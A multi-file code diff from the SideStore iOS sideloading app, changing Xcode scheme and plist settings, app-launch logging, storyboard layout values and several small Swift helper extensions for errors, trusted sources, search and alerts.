||||||
|
</BuildAction>
|
||||||
|
<TestAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||||
|
<Testables>
|
||||||
|
</Testables>
|
||||||
|
</TestAction>
|
||||||
|
<LaunchAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
launchStyle = "0"
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
ignoresPersistentStateOnLaunch = "NO"
|
||||||
|
debugDocumentVersioning = "YES"
|
||||||
|
debugServiceExtension = "internal"
|
||||||
|
allowLocationSimulation = "YES">
|
||||||
|
<BuildableProductRunnable
|
||||||
|
runnableDebuggingMode = "0">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BF45868C229872EA00BD7491"
|
||||||
|
BuildableName = "AltServer.app"
|
||||||
|
BlueprintName = "AltServer"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildableProductRunnable>
|
||||||
|
</LaunchAction>
|
||||||
|
<ProfileAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||||
|
savedToolIdentifier = ""
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
debugDocumentVersioning = "YES">
|
||||||
|
<MacroExpansion>
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BFF7C903257844C900E55F36"
|
||||||
|
BuildableName = "AltXPC.xpc"
|
||||||
|
BlueprintName = "AltXPC"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</MacroExpansion>
|
||||||
|
</ProfileAction>
|
||||||
|
<AnalyzeAction
|
||||||
|
buildConfiguration = "Debug">
|
||||||
|
</AnalyzeAction>
|
||||||
|
<ArchiveAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
revealArchiveInOrganizer = "YES">
|
||||||
|
</ArchiveAction>
|
||||||
|
</Scheme>
|
||||||
@@ -6,3 +6,7 @@
|
|||||||
#import "ALTAppPatcher.h"
|
#import "ALTAppPatcher.h"
|
||||||
|
|
||||||
#include "fragmentzip.h"
|
#include "fragmentzip.h"
|
||||||
|
|
||||||
|
#ifdef MDC
|
||||||
|
#import "grant_full_disk_access.h"
|
||||||
|
#endif /* MDC */
|
||||||
|
|||||||
@@ -2,12 +2,8 @@
|
|||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
<plist version="1.0">
|
<plist version="1.0">
|
||||||
<dict>
|
<dict>
|
||||||
<key>com.apple.developer.kernel.extended-virtual-addressing</key>
|
<key>aps-environment</key>
|
||||||
<true/>
|
<string>development</string>
|
||||||
<key>com.apple.developer.kernel.increased-debugging-memory-limit</key>
|
|
||||||
<true/>
|
|
||||||
<key>com.apple.developer.kernel.increased-memory-limit</key>
|
|
||||||
<true/>
|
|
||||||
<key>com.apple.developer.siri</key>
|
<key>com.apple.developer.siri</key>
|
||||||
<true/>
|
<true/>
|
||||||
<key>com.apple.security.application-groups</key>
|
<key>com.apple.security.application-groups</key>
|
||||||
|
|||||||
@@ -10,6 +10,7 @@ import UIKit
|
|||||||
import UserNotifications
|
import UserNotifications
|
||||||
import AVFoundation
|
import AVFoundation
|
||||||
import Intents
|
import Intents
|
||||||
|
import LocalConsole
|
||||||
|
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import AltSign
|
import AltSign
|
||||||
@@ -58,10 +59,18 @@ final class AppDelegate: UIResponder, UIApplicationDelegate {
|
|||||||
|
|
||||||
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
|
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
|
||||||
{
|
{
|
||||||
|
// Copy STDOUT and STDERR to the logging console
|
||||||
|
_ = OutputCapturer.shared
|
||||||
|
|
||||||
// Register default settings before doing anything else.
|
// Register default settings before doing anything else.
|
||||||
UserDefaults.registerDefaults()
|
UserDefaults.registerDefaults()
|
||||||
|
|
||||||
|
#if UNSTABLE
|
||||||
|
UnstableFeatures.load()
|
||||||
|
#endif
|
||||||
|
|
||||||
|
LCManager.shared.isVisible = UserDefaults.standard.isConsoleEnabled
|
||||||
|
LCManager.shared.isCharacterLimitDisabled = true // we want all logs exported
|
||||||
|
|
||||||
DatabaseManager.shared.start { (error) in
|
DatabaseManager.shared.start { (error) in
|
||||||
if let error = error
|
if let error = error
|
||||||
@@ -382,7 +391,7 @@ private extension AppDelegate
|
|||||||
for update in updates
|
for update in updates
|
||||||
{
|
{
|
||||||
guard !previousUpdates.contains(where: { $0[#keyPath(InstalledApp.bundleIdentifier)] == update.bundleIdentifier }) else { continue }
|
guard !previousUpdates.contains(where: { $0[#keyPath(InstalledApp.bundleIdentifier)] == update.bundleIdentifier }) else { continue }
|
||||||
guard let storeApp = update.storeApp, let version = storeApp.latestSupportedVersion else { continue }
|
guard let storeApp = update.storeApp, let version = storeApp.version else { continue }
|
||||||
|
|
||||||
let content = UNMutableNotificationContent()
|
let content = UNMutableNotificationContent()
|
||||||
content.title = NSLocalizedString("New Update Available", comment: "")
|
content.title = NSLocalizedString("New Update Available", comment: "")
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="32700.99.1234" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="wKh-xq-NuP">
|
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="21223" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="wKh-xq-NuP">
|
||||||
<device id="retina4_7" orientation="portrait" appearance="light"/>
|
<device id="retina4_7" orientation="portrait" appearance="light"/>
|
||||||
<dependencies>
|
<dependencies>
|
||||||
<deployment identifier="iOS"/>
|
<deployment identifier="iOS"/>
|
||||||
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="22684"/>
|
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="21204"/>
|
||||||
<capability name="Named colors" minToolsVersion="9.0"/>
|
<capability name="Named colors" minToolsVersion="9.0"/>
|
||||||
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
|
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
|
||||||
<capability name="System colors in document resources" minToolsVersion="11.0"/>
|
<capability name="System colors in document resources" minToolsVersion="11.0"/>
|
||||||
@@ -356,8 +356,8 @@
|
|||||||
<stackView opaque="NO" contentMode="scaleToFill" distribution="equalSpacing" translatesAutoresizingMaskIntoConstraints="NO" id="ewH-gi-pyW">
|
<stackView opaque="NO" contentMode="scaleToFill" distribution="equalSpacing" translatesAutoresizingMaskIntoConstraints="NO" id="ewH-gi-pyW">
|
||||||
<rect key="frame" x="0.0" y="30.5" width="335" height="17"/>
|
<rect key="frame" x="0.0" y="30.5" width="335" height="17"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="751" text="Version 0.5.6" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="7E0-TV-G4l">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="751" text="Version 4.4.2" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="7E0-TV-G4l">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="84" height="17"/>
|
<rect key="frame" x="0.0" y="0.0" width="84.5" height="17"/>
|
||||||
<fontDescription key="fontDescription" type="system" pointSize="14"/>
|
<fontDescription key="fontDescription" type="system" pointSize="14"/>
|
||||||
<color key="textColor" white="0.66666666666666663" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="0.66666666666666663" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
@@ -596,7 +596,7 @@ World</string>
|
|||||||
<tabBarItem key="tabBarItem" title="Browse" image="Browse" id="Uwh-Bg-Ymq"/>
|
<tabBarItem key="tabBarItem" title="Browse" image="Browse" id="Uwh-Bg-Ymq"/>
|
||||||
<toolbarItems/>
|
<toolbarItems/>
|
||||||
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="dIv-qd-9L5" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
|
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="dIv-qd-9L5" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="20" width="375" height="96"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<color key="tintColor" name="Primary"/>
|
<color key="tintColor" name="Primary"/>
|
||||||
</navigationBar>
|
</navigationBar>
|
||||||
@@ -626,7 +626,7 @@ World</string>
|
|||||||
</tabBarItem>
|
</tabBarItem>
|
||||||
<toolbarItems/>
|
<toolbarItems/>
|
||||||
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="CzO-Kt-BlZ" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
|
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="CzO-Kt-BlZ" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="20" width="375" height="96"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
</navigationBar>
|
</navigationBar>
|
||||||
<nil name="viewControllers"/>
|
<nil name="viewControllers"/>
|
||||||
@@ -883,7 +883,7 @@ World</string>
|
|||||||
<navigationItem key="navigationItem" title="App IDs" id="3Co-uv-Fhb">
|
<navigationItem key="navigationItem" title="App IDs" id="3Co-uv-Fhb">
|
||||||
<barButtonItem key="leftBarButtonItem" style="plain" id="Aqs-QK-Ups">
|
<barButtonItem key="leftBarButtonItem" style="plain" id="Aqs-QK-Ups">
|
||||||
<view key="customView" contentMode="scaleToFill" id="p0q-Fg-3Ba">
|
<view key="customView" contentMode="scaleToFill" id="p0q-Fg-3Ba">
|
||||||
<rect key="frame" x="16" y="7" width="83" height="42"/>
|
<rect key="frame" x="16" y="1" width="83" height="42"/>
|
||||||
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
|
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
|
||||||
</view>
|
</view>
|
||||||
</barButtonItem>
|
</barButtonItem>
|
||||||
@@ -909,7 +909,7 @@ World</string>
|
|||||||
<tabBarItem key="tabBarItem" title="News" image="News" id="fVN-ed-uO1"/>
|
<tabBarItem key="tabBarItem" title="News" image="News" id="fVN-ed-uO1"/>
|
||||||
<toolbarItems/>
|
<toolbarItems/>
|
||||||
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="525-jF-uDK" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
|
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="525-jF-uDK" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="20" width="375" height="96"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<edgeInsets key="layoutMargins" top="8" left="20" bottom="8" right="8"/>
|
<edgeInsets key="layoutMargins" top="8" left="20" bottom="8" right="8"/>
|
||||||
</navigationBar>
|
</navigationBar>
|
||||||
@@ -928,7 +928,7 @@ World</string>
|
|||||||
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="IXk-qg-mFJ" sceneMemberID="viewController">
|
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="IXk-qg-mFJ" sceneMemberID="viewController">
|
||||||
<toolbarItems/>
|
<toolbarItems/>
|
||||||
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="9sB-f3-Fnk">
|
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="9sB-f3-Fnk">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="108"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
</navigationBar>
|
</navigationBar>
|
||||||
<nil name="viewControllers"/>
|
<nil name="viewControllers"/>
|
||||||
@@ -1070,7 +1070,7 @@ World</string>
|
|||||||
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="Qo4-72-Hmr" sceneMemberID="viewController">
|
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="Qo4-72-Hmr" sceneMemberID="viewController">
|
||||||
<toolbarItems/>
|
<toolbarItems/>
|
||||||
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="mcx-oR-qPe">
|
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="mcx-oR-qPe">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="108"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
</navigationBar>
|
</navigationBar>
|
||||||
<nil name="viewControllers"/>
|
<nil name="viewControllers"/>
|
||||||
@@ -1095,13 +1095,13 @@ World</string>
|
|||||||
<image name="News" width="19" height="20"/>
|
<image name="News" width="19" height="20"/>
|
||||||
<image name="Settings" width="20" height="20"/>
|
<image name="Settings" width="20" height="20"/>
|
||||||
<namedColor name="Background">
|
<namedColor name="Background">
|
||||||
<color red="0.45098039215686275" green="0.015686274509803921" blue="0.68627450980392157" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
<color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||||
</namedColor>
|
</namedColor>
|
||||||
<namedColor name="BlurTint">
|
<namedColor name="BlurTint">
|
||||||
<color red="1" green="1" blue="1" alpha="0.30000001192092896" colorSpace="custom" customColorSpace="sRGB"/>
|
<color red="1" green="1" blue="1" alpha="0.3" colorSpace="custom" customColorSpace="sRGB"/>
|
||||||
</namedColor>
|
</namedColor>
|
||||||
<namedColor name="Primary">
|
<namedColor name="Primary">
|
||||||
<color red="0.64313725490196083" green="0.019607843137254902" blue="0.98039215686274506" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
<color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||||
</namedColor>
|
</namedColor>
|
||||||
<systemColor name="systemBackgroundColor">
|
<systemColor name="systemBackgroundColor">
|
||||||
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
|
|||||||
13
AltStore/Extensions/Error+Message.swift
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
//
|
||||||
|
// Error+Message.swift
|
||||||
|
// SideStore
|
||||||
|
//
|
||||||
|
// Created by naturecodevoid on 5/30/23.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
extension Error {
|
||||||
|
func message() -> String {
|
||||||
|
(self as? LocalizedError)?.failureReason ?? self.localizedDescription
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,96 +0,0 @@
|
|||||||
//
|
|
||||||
// ProcessInfo+SideStore.swift
|
|
||||||
// SideStore
|
|
||||||
//
|
|
||||||
// Created by ny on 10/23/24.
|
|
||||||
// Copyright © 2024 SideStore. All rights reserved.
|
|
||||||
//
|
|
||||||
|
|
||||||
import Foundation
|
|
||||||
|
|
||||||
fileprivate struct BuildVersion: Comparable {
|
|
||||||
let prefix: String
|
|
||||||
let numericPart: Int
|
|
||||||
let suffix: Character?
|
|
||||||
|
|
||||||
init?(_ buildString: String) {
|
|
||||||
// Initialize indices
|
|
||||||
var index = buildString.startIndex
|
|
||||||
|
|
||||||
// Extract prefix (letters before the numeric part)
|
|
||||||
while index < buildString.endIndex, !buildString[index].isNumber {
|
|
||||||
index = buildString.index(after: index)
|
|
||||||
}
|
|
||||||
guard index > buildString.startIndex else { return nil }
|
|
||||||
self.prefix = String(buildString[buildString.startIndex..<index])
|
|
||||||
|
|
||||||
// Extract numeric part
|
|
||||||
let startOfNumeric = index
|
|
||||||
while index < buildString.endIndex, buildString[index].isNumber {
|
|
||||||
index = buildString.index(after: index)
|
|
||||||
}
|
|
||||||
guard let numericValue = Int(buildString[startOfNumeric..<index]) else { return nil }
|
|
||||||
self.numericPart = numericValue
|
|
||||||
|
|
||||||
// Extract suffix (if any)
|
|
||||||
if index < buildString.endIndex {
|
|
||||||
self.suffix = buildString[index]
|
|
||||||
} else {
|
|
||||||
self.suffix = nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Implement Comparable protocol
|
|
||||||
static func < (lhs: BuildVersion, rhs: BuildVersion) -> Bool {
|
|
||||||
// Compare prefixes
|
|
||||||
if lhs.prefix != rhs.prefix {
|
|
||||||
return lhs.prefix < rhs.prefix
|
|
||||||
}
|
|
||||||
// Compare numeric parts
|
|
||||||
if lhs.numericPart != rhs.numericPart {
|
|
||||||
return lhs.numericPart < rhs.numericPart
|
|
||||||
}
|
|
||||||
// Compare suffixes
|
|
||||||
switch (lhs.suffix, rhs.suffix) {
|
|
||||||
case let (l?, r?):
|
|
||||||
return l < r
|
|
||||||
case (nil, _?):
|
|
||||||
return true // nil is considered less than any character
|
|
||||||
case (_?, nil):
|
|
||||||
return false
|
|
||||||
default:
|
|
||||||
return false // Both are nil and equal
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static func == (lhs: BuildVersion, rhs: BuildVersion) -> Bool {
|
|
||||||
return lhs.prefix == rhs.prefix &&
|
|
||||||
lhs.numericPart == rhs.numericPart &&
|
|
||||||
lhs.suffix == rhs.suffix
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
extension ProcessInfo {
|
|
||||||
var shortVersion: String {
|
|
||||||
operatingSystemVersionString
|
|
||||||
.replacingOccurrences(of: "Version ", with: "")
|
|
||||||
.replacingOccurrences(of: "Build ", with: "")
|
|
||||||
}
|
|
||||||
|
|
||||||
var operatingSystemBuild: String {
|
|
||||||
if let start = shortVersion.range(of: "(")?.upperBound,
|
|
||||||
let end = shortVersion.range(of: ")")?.lowerBound {
|
|
||||||
shortVersion[start..<end].replacingOccurrences(of: "Build ", with: "")
|
|
||||||
} else { "???" }
|
|
||||||
}
|
|
||||||
|
|
||||||
var sparseRestorePatched: Bool {
|
|
||||||
if operatingSystemVersion < OperatingSystemVersion(majorVersion: 18, minorVersion: 1, patchVersion: 0) { false }
|
|
||||||
else if operatingSystemVersion > OperatingSystemVersion(majorVersion: 18, minorVersion: 1, patchVersion: 1) { true }
|
|
||||||
else if operatingSystemVersion >= OperatingSystemVersion(majorVersion: 18, minorVersion: 1, patchVersion: 0),
|
|
||||||
let currentBuild = BuildVersion(operatingSystemBuild),
|
|
||||||
let targetBuild = BuildVersion("22B5054e") {
|
|
||||||
currentBuild >= targetBuild
|
|
||||||
} else { false }
|
|
||||||
}
|
|
||||||
}
|
|
||||||
19
AltStore/Extensions/Source+Trusted.swift
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
//
|
||||||
|
// Source+Trusted.swift
|
||||||
|
// SideStore
|
||||||
|
//
|
||||||
|
// Created by Fabian Thies on 04.02.23.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
import AltStoreCore
|
||||||
|
|
||||||
|
extension Source {
|
||||||
|
var isOfficial: Bool {
|
||||||
|
self.identifier == Source.altStoreIdentifier
|
||||||
|
}
|
||||||
|
|
||||||
|
var isTrusted: Bool {
|
||||||
|
UserDefaults.shared.trustedSourceIDs?.contains(self.identifier) ?? false
|
||||||
|
}
|
||||||
|
}
|
||||||
17
AltStore/Extensions/StoreApp+Filterable.swift
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
//
|
||||||
|
// StoreApp+Searchable.swift
|
||||||
|
// SideStore
|
||||||
|
//
|
||||||
|
// Created by Fabian Thies on 01.12.22.
|
||||||
|
// Copyright © 2022 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
import AltStoreCore
|
||||||
|
|
||||||
|
extension StoreApp: Filterable {
|
||||||
|
func matches(_ searchText: String) -> Bool {
|
||||||
|
searchText.isEmpty ||
|
||||||
|
self.name.lowercased().contains(searchText.lowercased()) ||
|
||||||
|
self.developerName.lowercased().contains(searchText.lowercased())
|
||||||
|
}
|
||||||
|
}
|
||||||
15
AltStore/Extensions/StoreApp+SideStore.swift
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
//
|
||||||
|
// StoreApp+SideStore.swift
|
||||||
|
// SideStore
|
||||||
|
//
|
||||||
|
// Created by naturecodevoid on 4/9/23.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
import AltStoreCore
|
||||||
|
|
||||||
|
extension StoreApp {
|
||||||
|
var isSideStore: Bool {
|
||||||
|
self.bundleIdentifier == Bundle.Info.appbundleIdentifier
|
||||||
|
}
|
||||||
|
}
|
||||||
19
AltStore/Extensions/StoreApp+Trusted.swift
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
//
|
||||||
|
// StoreApp+Trusted.swift
|
||||||
|
// SideStore
|
||||||
|
//
|
||||||
|
// Created by Fabian Thies on 04.02.23.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
import AltStoreCore
|
||||||
|
|
||||||
|
extension StoreApp {
|
||||||
|
var isFromOfficialSource: Bool {
|
||||||
|
self.source?.isOfficial ?? false
|
||||||
|
}
|
||||||
|
|
||||||
|
var isFromTrustedSource: Bool {
|
||||||
|
self.source?.isTrusted ?? false
|
||||||
|
}
|
||||||
|
}
|
||||||
45
AltStore/Extensions/UIApplication+SideStore.swift
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
//
|
||||||
|
// UIApplication+SideStore.swift
|
||||||
|
// SideStore
|
||||||
|
//
|
||||||
|
// Created by naturecodevoid on 5/20/23.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
extension UIApplication {
|
||||||
|
static var keyWindow: UIWindow? {
|
||||||
|
UIApplication.shared.windows.filter { $0.isKeyWindow }.first
|
||||||
|
}
|
||||||
|
|
||||||
|
static var topController: UIViewController? {
|
||||||
|
guard var topController = keyWindow?.rootViewController else { return nil }
|
||||||
|
while let presentedViewController = topController.presentedViewController {
|
||||||
|
topController = presentedViewController
|
||||||
|
}
|
||||||
|
return topController
|
||||||
|
}
|
||||||
|
|
||||||
|
static func alert(
|
||||||
|
title: String? = nil,
|
||||||
|
message: String? = nil,
|
||||||
|
leftButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
|
||||||
|
rightButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
|
||||||
|
leftButtonStyle: UIAlertAction.Style = .default,
|
||||||
|
rightButtonStyle: UIAlertAction.Style = .default
|
||||||
|
) {
|
||||||
|
let alert = UIAlertController(title: title, message: message, preferredStyle: .alert)
|
||||||
|
if let leftButton = leftButton {
|
||||||
|
alert.addAction(UIAlertAction(title: leftButton.text, style: leftButtonStyle, handler: leftButton.action))
|
||||||
|
}
|
||||||
|
if let rightButton = rightButton {
|
||||||
|
alert.addAction(UIAlertAction(title: rightButton.text, style: rightButtonStyle, handler: rightButton.action))
|
||||||
|
}
|
||||||
|
if rightButton == nil && leftButton == nil {
|
||||||
|
alert.addAction(UIAlertAction(title: NSLocalizedString("Ok", comment: ""), style: .default))
|
||||||
|
}
|
||||||
|
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
topController?.present(alert, animated: true)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
22
AltStore/Extensions/View+Hidden.swift
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
//
|
||||||
|
// View+Hidden.swift
|
||||||
|
// SideStore
|
||||||
|
//
|
||||||
|
// Created by naturecodevoid on 2/18/23.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
|
// https://stackoverflow.com/a/59228385 (modified)
|
||||||
|
extension View {
|
||||||
|
@ViewBuilder func isHidden(_ hidden: Binding<Bool>, remove: Bool = false) -> some View {
|
||||||
|
if hidden.wrappedValue {
|
||||||
|
if !remove {
|
||||||
|
self.hidden()
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,8 +2,6 @@
|
|||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
<plist version="1.0">
|
<plist version="1.0">
|
||||||
<dict>
|
<dict>
|
||||||
<key>ALTAnisetteURL</key>
|
|
||||||
<string>https://ani.sidestore.io</string>
|
|
||||||
<key>ALTAppGroups</key>
|
<key>ALTAppGroups</key>
|
||||||
<array>
|
<array>
|
||||||
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
||||||
@@ -11,10 +9,18 @@
|
|||||||
</array>
|
</array>
|
||||||
<key>ALTDeviceID</key>
|
<key>ALTDeviceID</key>
|
||||||
<string>00008101-000129D63698001E</string>
|
<string>00008101-000129D63698001E</string>
|
||||||
<key>ALTPairingFile</key>
|
|
||||||
<string><insert pairing file here></string>
|
|
||||||
<key>ALTServerID</key>
|
<key>ALTServerID</key>
|
||||||
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
|
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
|
||||||
|
<key>ALTPairingFile</key>
|
||||||
|
<string><insert pairing file here></string>
|
||||||
|
<key>ALTAnisetteURL</key>
|
||||||
|
<!--
|
||||||
|
for some reason, when we use the Info.plist preprocessor, 2 slashes in a row
|
||||||
|
removes the rest of the line and makes the plist invalid. to get around this,
|
||||||
|
we add a variable expansion ( $() ) in between the slashes that will ultimately
|
||||||
|
evaluate to nothing, keeping the original URL while keeping the plist valid.
|
||||||
|
-->
|
||||||
|
<string>http:/$()/ani.sidestore.io:6969</string>
|
||||||
<key>CFBundleDevelopmentRegion</key>
|
<key>CFBundleDevelopmentRegion</key>
|
||||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||||
<key>CFBundleDocumentTypes</key>
|
<key>CFBundleDocumentTypes</key>
|
||||||
@@ -44,6 +50,8 @@
|
|||||||
<string>$(PRODUCT_NAME)</string>
|
<string>$(PRODUCT_NAME)</string>
|
||||||
<key>CFBundlePackageType</key>
|
<key>CFBundlePackageType</key>
|
||||||
<string>APPL</string>
|
<string>APPL</string>
|
||||||
|
<key>LSSupportsOpeningDocumentsInPlace</key>
|
||||||
|
<true/>
|
||||||
<key>CFBundleShortVersionString</key>
|
